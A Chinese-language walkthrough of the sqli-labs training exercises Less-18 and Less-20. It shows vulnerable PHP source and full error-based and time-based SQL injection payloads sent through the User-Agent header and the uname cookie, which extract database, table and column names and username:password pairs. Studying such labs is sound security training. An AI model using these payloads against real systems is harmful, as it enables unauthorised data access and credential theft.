uagent注入
1、漏洞成因:
当Web应用程序将用户提供的User-Agent值未经处理直接拼接到SQL查询语句时,攻击者可以通过构造恶意User-Agent值闭合原有SQL语句并注入任意SQL代码。
2、以less-18为例:
相比前几关,第18关对于uname和passwd的输入都进行了过滤源代码如下:
$uname = check_input($con1, $_POST['uname']);
$passwd = check_input($con1, $_POST['passwd']);
对于输入的单引号、双引号、反斜杠等都进行转义,无法进行闭合
所以下面的查询源代码就不能是注入点
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
而在下面源代码观察发现,有一个insert语句,也有报错的前端回显、对于uagent
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysqli_query($con1, $insert);
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
下面用burpsuite抓包测试注入点(要传入正确的输入才可以走到uagent注入点)
抓到包后进入Request模块对User-Agent:字段添加一个单引号,然后Response,会看到mysql报错回显,证明可以尝试报错注入
通过在上面的源码可以分析出uagent字段后面还有$IP和 $uname两个字段,所以进行带入字段和注释看看回显
在后加上 ',1,1)# 其Response并没有报错的回显的正常回显
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 ',1,1)#
接下来进一步可以替换最后一个1来输入报错注入的语句
尝试报错注入数据库名:
',1,extractvalue(1,concat(0x7e,database())))#
',1,updatexml(1,concat(0x7e,(select database())),1))#
尝试报错注入表名:
',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1))))#
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1))#
尝试报错注入列名:
',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1))#
尝试报错注入数据信息:
',1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))))#
',1,updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1))#
cookie、
以less-20为例:
同样和第18关一样 对于uname和passwd的输入都进行了过滤源代码如下:
$uname = check_input($con1, $_POST['uname']); $passwd = check_input($con1, $_POST['passwd']);
而对于Request头部也没有的回显和INSERT INTO语句
所以http头部字段没有注入点了
而往下看看源代码会发现有个可疑的注入点:
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
if (!$result)
{
die('Issue with your mysql: ' . mysqli_error($con1));
}
用burpsuite抓包(刷新已经登录界面)
查看cookie字段
Cookie: uname=Dumb
这里要用到插件HackBar
选择cookie模块输入内容:
http://192.168.44.148:8081/Less-20/index.php
uname=Dumb
执行后发现正常回显
测试注入点
uname=Dumb' 加上单引号执行后发现有报错信息:Dumb附近的报错
使用#注入 尝试闭合
uname=Dumb'# 执行后正常回显说明注入点就是这里了!
这里可以尝试报错注入和盲注
报错注入尝试:
uname=Dumb' and updatexml(1,concat(0x7e,(select database())),1)#
时间盲注尝试:
uname=Dumb' and sleep(3)# uname=Dumb' and if(ascii(substring((select database()),1,1))=115,sleep(3),0)#